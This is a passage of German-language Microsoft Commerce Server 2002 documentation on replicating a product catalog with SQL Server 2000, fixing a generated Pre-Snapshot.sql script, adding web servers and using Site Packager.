    Nachdem Sie den Adventure Works-Katalog veröffentlicht haben, ist auf dem Testserver eine vollständig konfigurierte Retail-Lösungssite vorhanden, in der der Katalog installiert ist.

  3. Um zu überprüfen, ob der Adventure Works-Katalog veröffentlicht wurde, wechseln Sie zum URL der neuen Retail-Site.

Siehe auch

Verwenden von Site Packager

Importieren einer XML-Katalogdatei

Aktualisieren und Veröffentlichen eines Katalogs


Konfigurieren einer SQL-Publikation zum Replizieren eines Katalogs

Die Vorbereitung der SQL Server-Computer zur Einbeziehung in eine Replikationsumgebung soll nicht Thema dieses Dokuments sein. Es wurden allerdings die folgenden Konfigurationen vorgenommen, um die Transaktionsreplikation zwischen dem Testserver und den Produktionsservern zu unterstützen:

  • Der Testserver wurde als Herausgeber- und Verteilungsserver eingerichtet.
  • Die Verteilungsdatenbank wurde auf dem Testserver konfiguriert.
  • Die beiden Produktionsserver wurden als Abonnenten hinzugefügt.
    Hinweis
  • Beim Konfigurieren der Replikation für Ihre Umgebung sollte Ihnen ein qualifizierter SQL Server-Administrator behilflich sein.

Das Konfigurieren der Publikation zur Unterstützung einer einseitigen Replikation des Produktkatalogs geschieht in folgenden Schritten:

  1. Erstellen einer Replikationspublikation aller Tabellen, der katalogspezifischen gespeicherten Prozeduren sowie der benutzerdefinierten Funktionen.
  2. Erstellen des Skripts "Pre-Snapshot.sql" zur Unterstützung der Replikation von Anfangssnapshots für Abonnenten.
  3. Ändern des Skripts "Pre-Snapshot.sql" zur Unterstützung von Lösungen, die eine erfolgreiche, unterbrechungsfreie Replikation gewährleisten.
  4. Aktualisieren der Publikation mit dem geänderten Skript.
  5. Hinzufügen von Abonnenten zur Publikation.
  6. Aktualisieren von Volltextindizes in der Produktion.
  7. Aktualisieren des Katalogcaches.
  8. Aufrufen der Katalogreplikation bei Bedarf.


Schritt 1: Erstellen einer Replikationspublikation

Führen Sie zum Erstellen einer Replikationspublikation folgendes Verfahren aus.

So erstellen Sie eine Replikationspublikation

  1. Klicken Sie in SQL Enterprise Manager mit der rechten Maustaste auf die zu replizierende Katalogdatenbank, klicken Sie auf Neu und anschließend auf Publikation.

    Daraufhin wird der Publikationserstellungs-Assistent gestartet. Ausführliche Informationen zu diesem Assistenten finden Sie in der SQL Server-Onlinedokumentation.

  2. Klicken Sie auf Weiter.
  3. Wählen Sie im Dialogfeld Publikationsdatenbank auswählen die Option retail_commerce_catalog aus, und klicken Sie dann auf Weiter.
  4. Wählen Sie im Dialogfeld Publikationstyp auswählen die Option Transaktionspublikation aus, und klicken Sie anschließend auf Weiter.
  5. Wählen Sie im Dialogfeld Abonnententypen angeben die Option Server, auf denen SQL Server 2000 ausgeführt wird, und klicken Sie dann auf Weiter.
  6. Wählen Sie im Dialogfeld Artikel angeben die folgenden Artikel aus:
    • Alle Tabellen mit Ausnahme von CatalogStatus und Katalogname_CatalogDeletedProducts.
  7. Klicken Sie auf Artikelstandards.
  8. Wählen Sie im Dialogfeld Standardartikeltyp den Eintrag Tabellenartikel aus.
  9. Deaktivieren Sie im Dialogfeld Standardeigenschaften von Tabellenartikel auf der Registerkarte Befehle die folgenden drei Kontrollkästchen:
    • INSERT-Befehle ersetzen durch diesen Aufruf einer gespeicherten Prozedur
    • UPDATE-Befehle ersetzen durch diesen Aufruf einer gespeicherten Prozedur
    • DELETE-Befehle ersetzen durch diesen Aufruf einer gespeicherten Prozedur
      Hinweis
    • Wenn Sie diesen Schritt nicht ausführen, können bei der Replikation Fehler auftreten, sofern die Katalognamen Leerzeichen oder Bindestriche enthalten.
  10. Klicken Sie auf OK.
  11. Klicken Sie auf Weiter.
  12. Vergewissern Sie sich, dass im Dialogfeld Artikelprobleme Folgendes angezeigt wird:

    Die folgenden publizierten Tabellen enthalten IDENTITY-Spalten:

 [dbo].[CatalogDefinitions]
 [dbo].[CatalogGlobal]
 [dbo].[AdventureWorksCatalog_CatalogProducts]

Diese Warnmeldung können Sie ignorieren.

  1. Klicken Sie im Dialogfeld Artikelproblem auf Weiter.
  2. Geben Sie im Dialogfeld Publikationsnamen und Beschreibung auswählen einen Namen für die neue Publikation sowie eine Beschreibung dafür ein, oder übernehmen Sie den standardmäßig vorgegebenen Namen und die Beschreibung, und klicken Sie anschließend auf Weiter.
  3. Wählen Sie im Dialogfeld Standardeigenschaften der Publikation anpassen die Option Nein, Publikation ohne Datenfilter und mit den folgenden Eigenschaften erstellen aus, und klicken Sie auf Weiter.
  4. Klicken Sie im Dialogfeld Publikationserstellungs-Assistenten abschließen auf Fertig stellen.

SQL Server 2000 erstellt die neue Publikation anhand der von Ihnen eingegebenen Informationen. Wenn dies die erste Publikation ist, werden außerdem die entsprechenden Agenten erstellt, die den Vorgang überwachen und Sie benachrichtigen, sobald die Konfiguration der Publikation abgeschlossen ist.

Fahren Sie mit dem nächsten Schritt, Schritt 2: Erstellen des Skripts "Pre-Snapshot.sql", fort.


Schritt 2: Erstellen des Skripts "Pre-Snapshot.sql"

Das Skript Pre-Snapshot.sql konfiguriert die Produktionsdatenbank mit den erforderlichen Katalogschemaelementen, sodass diese zum Empfangen der Datenreplikation bereit ist.

Erstellen Sie nach Ausführung des Publikationserstellungs-Assistenten ein benutzerdefiniertes Skript, und ändern Sie dieses anschließend, sodass es die richtige Zielumgebung für die Abonnentenserver in der Produktion enthält.

In diesem Schritt erstellen Sie ein Skript namens Pre-Snapshot.sql, mit dem Sie die Ansichten, gespeicherten Prozeduren, benutzerdefinierten Funktionen, Tabellen und Freitextindizes auf dem Produktionsserver erzeugen können.

So erstellen Sie das Skript "Pre-Snapshot.sql"

  1. Klicken Sie in SQL Enterprise Manager mit der rechten Maustaste auf den Testdatenbankknoten, zeigen Sie auf Alle Aufgaben, und klicken Sie anschließend auf SQL-Skript generieren.
  2. Klicken Sie im Dialogfeld SQL-Skript generieren auf die Schaltfläche Alle anzeigen, um alle Objekte anzuzeigen, die für die Replikation zur Verfügung stehen.
  3. Aktivieren Sie das Kontrollkästchen Skripterstellung für alle Objekte, um Skripts für alle Objekte zu erstellen.
  4. Wählen Sie im Dialogfeld Skripts generieren auf der Registerkarte Optionen im Bereich Optionen für die Tabellenskripterstellung die Einträge Skript für Indizes, Skript für Volltextindizes sowie Skript für Primärschlüssel, Fremdschlüssel, Standards, und CHECK-Einschränkungen.
  5. Wählen Sie im Bereich Dateioption den Eintrag Internationaler Text (Unicode).
  6. Wählen Sie im Bereich Zu erstellende Dateien die Option Eine Datei erstellen aus, und klicken Sie dann auf OK.
  7. Speichern Sie die Datei unter folgendem Pfad bzw. Dateinamen:

    C:\Programme\Microsoft SQL Server\MSSQL\Install\Pre-Snapshot.sql

Das Skript wird erstellt und unter dem Namen Pre-Snapshot.sql gespeichert.

Fahren Sie mit dem nächsten Schritt, Schritt 3: Ändern des Skripts "Pre-Snapshot.sql", fort.


Schritt 3: Ändern des Skripts "Pre-Snapshot.sql"

Sie müssen das Skript Pre-Snapshot.sql bearbeiten, um die DROP CONSTRAINT-Anweisungen für Bindestriche in den Tabellen Katalogname_Sprache_Catalog anzupassen.

Aufgrund einer foreign key-Einschränkung schlägt das Skript Pre-Snapshot.sql fehl, da ein Bindestrich in der Anweisung nicht ordnungsgemäß umgesetzt werden kann. Die Anweisung wird wie folgt in eine vorhandene IF Exists-Anweisung eingeschlossen:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[FK_AdventureWorksCatalog_en-US_Catalog]') and OBJECTPROPERTY(id, N'IsForeignKey') = 1)
ALTER TABLE [dbo].[AdventureWorksCatalog_en-US_Catalog] DROP CONSTRAINT FK_AdventureWorksCatalog_en-US_Catalog
GO

Damit dieses Skript erfolgreich ausgeführt werden kann, setzen Sie um den Namen der Variablen und an das Ende des Aufrufs der DROP-Einschränkung Klammern, wie im folgenden Codebeispiel dargestellt:

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[FK_ AdventureWorksCatalog_en-US_Catalog]') and OBJECTPROPERTY(id, N'IsForeignKey') = 1)
ALTER TABLE [dbo].[ AdventureWorksCatalog_en-US_Catalog] DROP CONSTRAINT [FK_AdventureWorksCatalog_en-US_Catalog]
GO

Dieses Problem kann auch für andere Einschränkungen auftreten, wenn Sie mit verschiedenen Sprachen bzw. Katalogen arbeiten. Nachdem Sie die Änderungen vorgenommen haben, können Sie das Skript in die Publikation einbinden. Als nächsten Schritt müssen Sie die Publikation mit dem geänderten Skript aktualisieren.

Fahren Sie mit dem nächsten Schritt, Schritt 4: Aktualisieren der Publikation mit dem geänderten Skript fort.


Schritt 4: Aktualisieren der Publikation mit dem geänderten Skript

In dieser Prozedur aktualisieren Sie die Publikation mit dem Skript, dass Sie in Schritt 3: Ändern des Skripts "Pre-Snapshot.sql" erstellt haben.

So aktualisieren Sie die Publikation

  1. Klicken Sie in SQL Enterprise Manager mit der rechten Maustaste auf die in Schritt 1: Erstellen einer Replikationspublikation erstellte Publikation, und klicken Sie dann auf Eigenschaften.
  2. Fügen Sie im Dialogfeld Publikationseigenschaften – retail_commerce_catalog auf der Registerkarte Snapshot im Bereich Weitere Skripts den vollständigen Pfad und den Speicherort des gerade geänderten Skripts Pre-Snapshot.sql hinzu, und klicken Sie auf Übernehmen.
  3. Bearbeiten Sie auf der Registerkarte Artikel die standardmäßigen Eigenschaften des Tabellenartikels.
  4. Wählen Sie im Dialogfeld Eigenschaften des Tabellenartikels – CatalogCustomCatalogs die Option Vorhandene Tabelle unverändert beibehalten.

    Wenn Sie die Option nicht auswählen und die Standardkonfiguration beibehalten, werden alle beim Ausführen des Skripts zur Replikation von Anfangssnapshots ursprünglich vorgenommenen Einstellungen rückgängig gemacht. Da diese Tabellen laut Festlegung im Skript während des Anfangssnapshots erstellt werden, wird die Tabelle entsprechend dem standardmäßigen Konfigurationsschema in der Testumgebung neu erstellt, wenn Sie die Anweisung zum Löschen und Neuerstellen der vorhandenen Tabelle beibehalten. Dies muss im vorliegenden Fall mithilfe des Skripts Pre-Snapshot.sql geändert werden, damit die Replikation ordnungsgemäß ausgeführt werden kann.

  5. Klicken Sie auf OK, und speichern Sie anschließend alle Konfigurationsänderungen.

Sie können nun Abonnenten zur Publikation hinzufügen.

Fahren Sie mit dem nächsten Schritt, Hinzufügen von Abonennten zur Publikation, fort.


Schritt 5: Hinzufügen von Abonnenten zur Publikation

Abonnenten sind die in der Produktionsumgebung befindlichen Server. Weitere Informationen zu Abonnenten finden Sie in der SQL Server 2000-Onlinedokumentation.

So fügen Sie der Publikation Abonnenten hinzu

  1. Erweitern Sie in SQL Enterprise Manager Replikation, klicken Sie mit der rechten Maustaste auf Abonnement, und klicken Sie anschließend auf Push für neues Abonnement erstellen.

    Der Pushabonnement-Assistent wird gestartet.

  2. Klicken Sie im Bereich Willkommen beim Pushabonnement-Assistenten auf Weiter.
  3. Wählen Sie im Dialogfeld Abonnenten auswählen die Abonnenten aus, die in der Verteilungsdatenbank aktiviert sind, und klicken Sie dann auf Weiter.
  4. Wählen Sie im Dialogfeld Zieldatenbank auswählen den Namen der gewünschten Abonnementdatenbank aus, wenn auf dem Server mehrere Abonnements vorhanden sind, und klicken Sie dann auf Weiter.
  5. Wählen Sie im Dialogfeld Zeitplan des Verteilungs-Agents auswählen die Option Folgenden Zeitplan verwenden aus, klicken Sie auf Ändern, und passen Sie anschließend den Zeitplan an.
  6. Klicken Sie auf Weiter.
  7. Klicken Sie im Dialogfeld Abonnement initialisieren auf Ja, Schema und Daten auf dem Abonnement sofort aktualisieren (da dieses Tabellenschema auf den vorhandenen Zielservern nicht vorhanden ist), und wählen Sie Den Snapshot-Agent starten, um den Initialisierungsvorgang sofort zu beginnen.

    Wenn Sie nicht angeben, dass der Snapshot-Agent gestartet werden soll, müssen Sie ihn manuell starten, um den Replikationsvorgang zu beginnen.

  8. Klicken Sie auf Weiter.
  9. Klicken Sie im Dialogfeld Erforderliche Dienste starten auf Weiter.
  10. Klicken Sie auf Fertig stellen.

Auf den Replikationsmonitoren sollte nun angezeigt werden, dass die Replikation mit dem Migrieren der Daten auf die Produktionsserver beginnt.


Schritt 6: Aktualisieren von Volltextindizes in der Produktion

Die zum Erstellen des Schemas auf den Produktionsservern generierten Skripts erstellen gleichzeitig die Volltextindizes.

Wenn Änderungen an Katalogen repliziert werden, müssen die Volltextindizes in der Produktionsdatenbank aktualisiert werden. Dafür gibt es verschiedene Möglichkeiten:

  • Aktivieren der Änderungsverfolgung
  • Einrichten eines geplanten Auftrags zum Aktualisieren der Volltextindizes
  • Manuelles Starten der erneuten Volltextindizierung


Schritt 7: Aktualisieren des Katalogcaches

Nachdem die Katalogdaten vollständig in die Produktionssite migriert wurden, muss die Site dynamisch aktualisiert werden, um die Änderungen wiederzugeben.

Öffnen Sie für dieses Szenario auf jedem der Produktionsserver die Commerce Server Business Desk-Software, und aktualisieren Sie den Katalog. Anweisungen dazu finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs. Mit diesem Schritt aktualisieren Sie den Katalogcache in den Retail-Lösungssites.

Dynamisches Aktualisieren des Katalogcaches

Bei der Konfiguration der Retail-Lösungssite ist das siteübergreifende Zwischenspeichern aktiviert. Dadurch können Änderungen an der Site nicht dynamisch aktualisiert werden, ohne dass entweder die Internetinformationsdienste manuell neu gestartet werden oder die Site über die lokale Instanz von Business Desk aktualisiert wird.

Verwenden Sie zur dynamischen Aktualisierung des Katalogcaches eines der folgenden Verfahren:

  • Manueller Neustart von IIS. Von dieser Option wird abgeraten, da dadurch alle Internetdienste des Webservers beendet werden, damit die Commerce Server-Anwendung die Caches aktualisieren kann. Die Folge ist ein Systemausfall, der in einer Produktionsumgebung häufig nicht akzeptabel ist, da sich dies auch beim Benutzer bemerkbar machen kann. Informationen zum Neustarten von IIS finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  • Aktualisierungen auf Produktionsservern mithilfe von Business Desk. Sie können zum Aktualisieren der Caches auf Produktionswebservern eine Instanz der Business Desk-Anwendung aufrufen, die als Teil Ihrer Produktionssite konfiguriert ist.


Aufrufen der Katalogreplikation bei Bedarf

Wenn Ihr Katalog in unregelmäßigen Abständen geändert wird, können Sie festlegen, dass diese Änderungen nicht nach einem festgelegten Zeitplan, sondern lediglich bei Bedarf repliziert werden. Dafür richten Sie das Abonnement wie unter Konfigurieren einer SQL-Publikation zum Replizieren eines Katalogs beschrieben ein. Bei der Konfiguration des Auftragszeitplans für die Replikation legen Sie jedoch als Startdatum ein Datum in ferner Zukunft fest (z. B. 1. 1. 2200).

So rufen Sie die Katalogreplikation bei Bedarf auf

  1. Klicken Sie in Enterprise Manager auf die Publikation, die Sie für die Replikation unter dem Knoten Publikationen einrichten.
  2. Klicken Sie mit der rechten Maustaste auf das zu aktualisierende Abonnement. Klicken Sie dann auf Synchronisierung starten.


Physische Schemaänderungen an Testdatenbanken

Von der Verwendung der SQL Server-Replikation zum Replizieren des Katalogschemas oder des zu Grunde liegenden physischen Katalogdatenbankschemas wird abgeraten. Verwenden Sie die SQL Server-Replikation nur zum übertragen von Inhalten.

Die folgenden Aufgaben bewirken Änderungen am zu Grunde liegenden physischen Schema. Um eine Produktionsumgebung mit diesen Änderungen zu aktualisieren, müssen Sie einen der nachfolgend beschriebenen manuellen Prozesse ausführen:

  • Erstellen eines neuen Katalogs. Wenn Sie einen Katalog in der Herausgeberdatenbank erstellen, werden zwar die Änderungen am globalen Katalog repliziert, die Ansichten und gespeicherten Prozeduren jedoch nicht (hierbei handelt es sich um eine SQL Server-Einschränkung).
  • Löschen eines Katalogs.
  • Hinzufügen einer Sprache zu einem Katalog.
  • Löschen einer Sprache aus einem Katalog.
  • Hinzufügen einer Eigenschaft zu einer Produktdefinition (wenn die Eigenschaft nicht bereits in dem Katalog verwendet wird, in dem die Produktdefinition verwendet wird).
  • Entfernen einer Eigenschaft aus einer Produktdefinition (sodass die Eigenschaft in dem Katalog, in dem die Produktdefinition verwendet wird, nicht mehr zum Einsatz kommt).
  • Hinzufügen der ersten Instanz eines Produkts einer bestimmten Produktdefinition zu einem Katalog (sodass eine bestimmte Eigenschaft in diesem Katalog verwendet wird).
  • Löschen der letzten Instanz eines Produkts einer bestimmten Produktdefinition aus einem Katalog (sodass eine bestimmte Eigenschaft in diesem Katalog nicht mehr verwendet wird).

Wenn Änderungen dieser Art am Testkatalog vorzunehmen sind, müssen Sie die Datenbankpublikation zunächst löschen und die Replikation wieder einrichten, nachdem die Änderungen vollständig vorgenommen wurden.


Replizieren materialisierter virtueller Kataloge

Materialisierte virtuelle Kataloge bieten eine höhere Leistungsfähigkeit auf Produktionsservern, sind jedoch hinsichtlich der Replikation problematisch.

Bei jeder Erstellung eines neuen materialisierten virtuellen Katalogs (wenn Aktualisierungen der Regeln für Quellkataloge oder virtuelle Kataloge beim Anzeigen des virtuellen Katalogs dargestellt werden), werden die materialisierten Datentabellen für diesen virtuellen Katalog gelöscht und neu erstellt. In diesem Fall wird die für diese Tabellen konfigurierte Replikation unterbrochen. Aus diesem Grund sollten virtuelle Kataloge auf Testservern (Herausgeberservern) nicht als materialisiert markiert werden.

Wenn Sie virtuelle Kataloge auf Ihren Produktionsdatenbankservern zum Erzielen einer besseren Leistungsfähigkeit materialisieren möchten, sollten Sie die zugeordneten Tabellen von der Replikation ausschließen.


Aktualisieren der Site

Die Bereitstellung ist ein fortlaufender Prozess. Sobald die Site betriebsbereit ist, müssen deren Inhalt und Konfiguration angepasst werden, um so eventuellen Änderungen Rechnung zu tragen. Dieser Abschnitt enthält grundlegende Informationen zum Aktualisieren der Site. Weitere Informationen finden Sie im Microsoft Commerce Server 2000 Resource Kit.

Dieser Abschnitt beinhaltet folgende Themen:

  • Aktualisierungen mithilfe der Testumgebung. Erläutert, wie Sie Ihre Testumgebung zum Aktualisieren Ihrer Produktionsserver verwenden können.
  • Hinzufügen von Webservern ohne Site Packager. Erläutert, wie Sie einen Commerce-Webserver ohne Site Packager installieren.
  • Replizieren von Datenbanken mithilfe von SQL Server. Erläutert, wie Sie Ihre Commerce Server-Datenbanken mithilfe von SQL Server replizieren können.
  • Ändern von Servernamen. Erläutert, wie Sie die Namen Ihrer Server ändern können.


Aktualisierungen mithilfe der Testumgebung

Bevor Sie die Server in Ihrer Produktionsumgebung aktualisieren, sollten Sie die entsprechenden Anpassungen in einer separaten Entwicklungs-/Testumgebung bereitstellen. Dadurch können Sie die effiziente Bereitstellung einer vollständig getesteten und aktualisierten Site gewährleisten.

Angenommen, Sie möchten Ihren Produktkatalog aktualisieren. Bevor Sie die Kataloge in Ihrer Produktionsumgebung aktualisieren, aktualisieren Sie zuerst diejenigen in Ihrer Testumgebung. Hier werden auch die aktualisierten Kataloge geprüft. Sobald Sie sicher sind, dass die Aktualisierungen ordnungsgemäß funktionieren, können Sie sie mit SQL Server auf Ihren Produktionsservern replizieren.

Siehe auch

Replizieren von Datenbanken mithilfe von SQL Server


Hinzufügen von Webservern ohne Site Packager

Sie können einer Anwendung auch ohne Zuhilfenahme von Commerce Server Site Packager Webserver hinzufügen. Kopieren Sie zuerst die Dateien der Anwendung auf den Server, und konfigurieren Sie dort die Internetinformationsdienste (IIS) 5.0. Dazu können Sie Microsoft Application Center 2000 verwenden.

Beim ersten Laden der Anwendung auf dem neuen Server, wird dieser in der Verwaltungsdatenbank von Commerce Server unter der entsprechenden Anwendung als Webserver hinzugefügt.

Zum Aktualisieren der Verwaltungsdatenbank können Sie die Funktion JoinWebFarm verwenden, die in den Lösungssites von Commerce Server enthalten ist. Sie befindet sich in der Datei Global_siteconfig_lib.asp, die wiederum im Ordner Include von ungepackten Commerce Server-Lösungssites enthalten ist.

Hinweis

  • Die COM+-Anwendung Config enthält die Rolle Web Users. Das Hinzufügen eines Webservers zu Anwendungen ohne Zuhilfenahme von Site Packager ist nur für Anmeldekonten möglich, die als Mitglieder dieser Rolle definiert sind.

Nachdem Sie den Webserver der Anwendung hinzugefügt haben, müssen Sie die folgenden Webservereigenschaften in Commerce Server mit den Eigenschaften in IIS synchronisieren:

  • TCP-Anschluss
  • SSL-Anschluss
  • IP-Adresse
  • Protokolldateipfad
  • Protokolldateiperiode

Zum Synchronisieren der Eigenschaften können Sie entweder die Werte in Commerce Server-Manager manuell aktualisieren oder auf der Registerkarte Webserver des Dialogfelds Anwendungseigenschaften auf Werte synchronisieren klicken. Weitere Informationen finden Sie unter Konfigurieren einer Anwendung.

Wenn Sie auf Werte synchronisieren klicken, kopiert Commerce Server die Eigenschaften auf der Anwendungsebene und die Eigenschaften aller Webserverobjekte unterhalb der Anwendungsebene. Bei der Synchronisation der Eigenschaften auf der Anwendungsebene (TCP- und SSL-Anschluss) bezieht Commerce Server sich auf die Werte des ersten Webservers. Commerce Server geht davon aus, dass alle Webserver identisch konfiguriert sind, was für das ordnungsgemäße Funktionieren einer Webfarm auch der Fall sein muss.

Da der JoinWebFarm-Code das Objekt SiteConfig enthält, muss der Benutzer über Berechtigungen zur Verwendung dieses Objekts verfügen. Wenn Sie zuvor den Zugriff auf SiteConfig verweigert haben, können Sie die Berechtigung für das Objekt im Windows-Registrierungseditor wiederherstellen. Weitere Informationen finden Sie unter Sichern der Verwaltungsdatenbank.

Hinweis

  • Application Center 2000 synchronisiert Dateien und IIS-Einstellungen, aktualisiert jedoch nicht die Commerce Server-Verwaltungsdatenbank, weshalb ein in der Funktion JoinWebFarm enthaltenes zusätzliches Skript verwendet werden muss. Weitere Informationen zu Application Center 2000 finden Sie in der Dokumentation zu Microsoft Application Center 2000.


Replizieren von Datenbanken mithilfe von SQL Server

Um die Verfügbarkeit und die Skalierbarkeit von umfangreichen Commerce Server 2002-Sites dauerhaft zu gewährleisten, sollten Sie Ihre Katalogdatenbank replizieren. Replizieren Sie dazu mithilfe von SQL Server Ihre Katalogserver bzw. –servercluster innerhalb eines NLB-Clusters (Network Load Balancing). Eine schematische Darstellung dieser Konfiguration finden Sie unter Konfiguration einer großen Site.

Replizieren Sie Ihre Commerce Server-Datenbanken mithilfe von SQL Server. Unabhängig vom verwendeten Replizierungsverfahren (Snapshot-, Transaktions- oder Mergereplikation) unterstützen Sie die folgenden Stufen bei der Implementierung der Replikation.

Stufe | Aufgaben
Konfigurieren der Replikation | Kennzeichnen des Herausgebers, Verteilers und Abonnenten innerhalb Ihrer Topologie. Verwenden Sie gespeicherte Systemprozeduren aus SQL Server Enterprise Manager, SQL-DMO oder Transact-SQL zum Konfigurieren des Herausgebers, erstellen Sie eine Verteilungsdatenbank, und aktivieren Sie Abonnenten.
Veröffentlichen von Daten und Datenbankobjekten | Erstellen Sie die Publikation, definieren Sie die Daten und Datenbankobjekt-Artikel in der Publikation, und wenden Sie alle erforderlichen Filter auf die zu veröffentlichenden Daten an.
Abonnieren von Publikationen | Erstellen Sie Push-, Pull- oder anonyme Abonnements, um anzugeben, welche Publikationen zu welchem Zeitpunkt an welche Abonnenten weitergegeben werden sollen.
Erstellen des Anfangssnapshots | Gibt an, an welchem Ort Snapshotdateien gespeichert werden sollen, ob diese komprimiert sind, sowie welche Skripts vor oder nach Ausführung des Anfangssnapshots auszuführen sind.
Anwenden des Anfangssnapshots | Wenden Sie den Snapshot automatisch an, indem Sie das Abonnement mit dem Verteilungs-Agenten bzw. dem Merge-Agent synchronisieren. Der Snapshot kann vom standardmäßigen Snapshotordner oder von Wechselmedien aus angewendet werden, die vor Anwendung des Snapshots manuell an den Abonnenten übermittelt werden können.
Daten synchronisieren Die Synchronisierung von Daten erfolgt, wenn der Snapshot-Agent, der Verteilungs-Agent oder der Merge-Agent ausgeführt werden und Aktualisierungen zwischen dem Herausgeber und den Abonnenten ausgetauscht werden.

Zur Replikation von Snapshots wird ein Snapshot aufgenommen und an Abonnenten weitergegeben. Bei der Transaktionsreplikation speichert der Protokollese-Agent Aktualisierungen in der Verteilungsdatenbank, während der Verteilungsagent Aktualisierungen an Abonnenten weitergibt.

Wenn Sie Abonnements verwenden, die sowohl mit der Snapshot- als auch der Transaktionsreplikation aktualisiert werden können, werden die Daten vom Abonnenten an den Herausgeber und andere Abonnenten weitergegeben.

Bei der Mergereplikation werden die Daten im Verlauf des Mergeprozesses synchronisiert, bei dem die Änderungen auf allen Servern zusammengefasst werden. Ggf. auftretende Konflikte werden erkannt und aufgelöst.

Siehe auch

Replizieren des Kataloginhalts


Ändern von Servernamen

Es wird dringend empfohlen, Servernamen nach der Installation von Commerce Server 2002 nicht mehr zu ändern

Wenn Sie den NetBIOS-Namen eines Servers ändern möchten, müssen Sie Commerce Server deinstallieren, den betreffenden Namen ändern, den Server neu starten, sicherstellen, dass die Plattform ordnungsgemäß konfiguriert ist, und anschließend Commerce Server erneut installieren.

Commerce Server benennt die Verbindungszeichenfolgen zwischen Ressourcen auf Basis der Servernamen. Wenn Sie einen dieser Namen ändern, können möglicherweise Verbindungen zwischen Ressourcen nicht mehr hergestellt werden. Sie müssen die Verbindungszeichenfolgen in Commerce Server Manager manuell ändern.

Die globalen Ressourcen Commerce Server Direct Mailer und Profile verfügen über Anzeigenamen mit dem Namen des Servers, auf dem sie erstellt wurden. Wenn Sie den Namen des Servers ändern, können Sie mithilfe von Commerce Server-Setup den Direct Mailer entfernen und anschließend erneut installieren. Mit Commerce Server Site Packager können Sie eine globale Profilressource mit einem neuen Namen erstellen. Anschließend müssen Sie die Reference-Eigenschaft im globalen Ressourcenzeiger für alle Sites ändern, die diese globale Profilressource verwendet haben.

Wenn Sie eine Anwendung mithilfe von Microsoft Application Center 2000 auf einem umbenannten Webserver neu laden, erstellt die Funktion JoinWebFarm, die beim Ereignis Application_OnStart von der Datei Global.asa aufgerufen wird, in der Verwaltungsdatenbank einen neuen Webserverknoten. Der alte Servername muss mit Commerce Server-Manager aus der Site gelöscht werden.


Verwenden von Site Packager

Commerce Server Site Packager ist ein Bereitstellungstool und hat in erster Linie zwei Zwecke. Mit diesem Tool können Sie Ihre Microsoft Commerce Server 2002-Site in eine einzelne Datei packen, einschließlich der Einstellungen für Internetinformationsdienste (IIS) ab Version 5.0 (Metabasis), Dateisystem, Ressourcen der Verwaltungsdatenbank sowie SQL Server-Datenbanken. Außerdem können Sie damit die Commerce Server-Site (bzw. Teile davon) auf anderen Computern entpacken.

In den meisten Fällen wird Site Packager zur ersten Bereitstellung der Site eingesetzt. Für anschließende Bereitstellungen, inkrementelle Aktualisierungen und Rollbacks sollten Sie jedoch ein Tool wie Microsoft Application Center 2000 bzw. ein anderes Content Management-Produkt verwenden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Über Site Packager. Beschreibt, wofür Sie Site Packager einsetzen können, was ein Paket ist und wie globale Ressourcen entpackt werden.
  • Empfehlungen für Site Packager. Enthält wichtige Informationen zum Packen der Commerce Server 2002-Site.
  • Einschränkungen für Namen und Dateigröße in Site Packager. Enthält eine Auflistung der Beschränkungen für Dateinamen und die Dateigröße in Site Packager.
  • Entpacken einer Site. Erläutert, wie eine Site aus einer Paketdatei auf einen lokalen Webserver und einen Remote-Webserver entpackt werden kann.
  • Wo Ressourcen und Daten entpackt werden. Enthält die Daten und Einstellungen, die in SQL Server beim Entpacken einer Site eingerichtet werden.
  • Packen einer Site. Beschreibt, wie eine Site in eine Paketdatei gepackt wird.
  • Verwenden von Skripts mit Site Packager. Beschreibt, wie Skripts vor bzw. nach der Installation mit Site Packager verwendet werden.
  • Ausführen von Site Packager von der Befehlszeile. Beschreibt, wie Site Packager über die Befehlszeile verwendet wird.
  • Anpassen von Site Packager-INI-Dateien. Beschreibt die INI-Dateien, die in den Commerce Server-Lösungssites enthalten sind und wie Sie diese INI-Dateien als Vorlagen zum Erstellen benutzerdefinierter INI-Dateien für Ihre eigenen Pakete verwenden können.
  • Hilfe zum Dialogfeld "Site Packager". Enthält die Hilfe zu Dialogfeldelementen für Commerce Server Site Packager.


Informationen zu Site Packager

Commerce Server Site Packager packt und entpackt Websites und Einstellungen und erleichtert so die Bereitstellung Ihrer Anwendungen. Beim Entpacken einer Commerce Server-Site werden in der Regel zwei Anwendungen installiert: eine für die Website, auf die Benutzer zugreifen, und eine für Commerce Server Business Desk, die zur Verwaltung der Site verwendet wird. Jede Anwendung kann nur die Ressourcen der Commerce Server-Site nutzen, der sie zugeordnet ist.

Dieser Abschnitt beinhaltet folgende Themen:

  • Pakete
  • Optionen zum Entpacken
  • So werden Datenbank- und Anwendungsnamen erstellt
  • Datei CSAPP.INI
  • So werden globale Ressourcen entpackt
  • Wo sich Datenbanken befinden
  • So werden Webserverberechtigungen eingestellt


Pakete

Ein Paket ist eine speziell formatierte Commerce Server-Datei. Jedes Paket hat die Dateinamenerweiterung PUP. Ein Paket enthält immer eine einzelne Site einschließlich der dazugehörigen Ressourcen, Daten und Anwendungen einer Commerce Server-Website.

Zusätzlich zu den Siteressourcen, Anwendungen und den Einstellungen für Internetinformationsdienste (IIS) ab Version 5.0, die zur Wiederherstellung der Webserverkonfigurationen benötigt werden, enthält Commerce Server Site Packager auch die Eigenschaftswerte der Verwaltungsdatenbank. Beispiel: Wenn Sie die Ressource der Anwendungsstandardkonfiguration packen, werden auch alle aktuellen Eigenschaftswerte gepackt. Wenn Sie die Ressource der Anwendungsstandardkonfiguration entpacken, werden die Eigenschaftswerte in die Verwaltungsdatenbank entpackt.

Das Paket enthält globale Ressourcenzeiger, jedoch nicht die globalen Ressourcen selbst. Das Paket erkennt die in der Anwendung enthaltenen Verbindungszeichenfolgen, enthält jedoch nicht tatsächlich die Daten der Verbindungszeichenfolge.

Hinweis

  • Verbindungszeichenfolgen, die einen Computernamen enthalten, werden nicht gepackt.

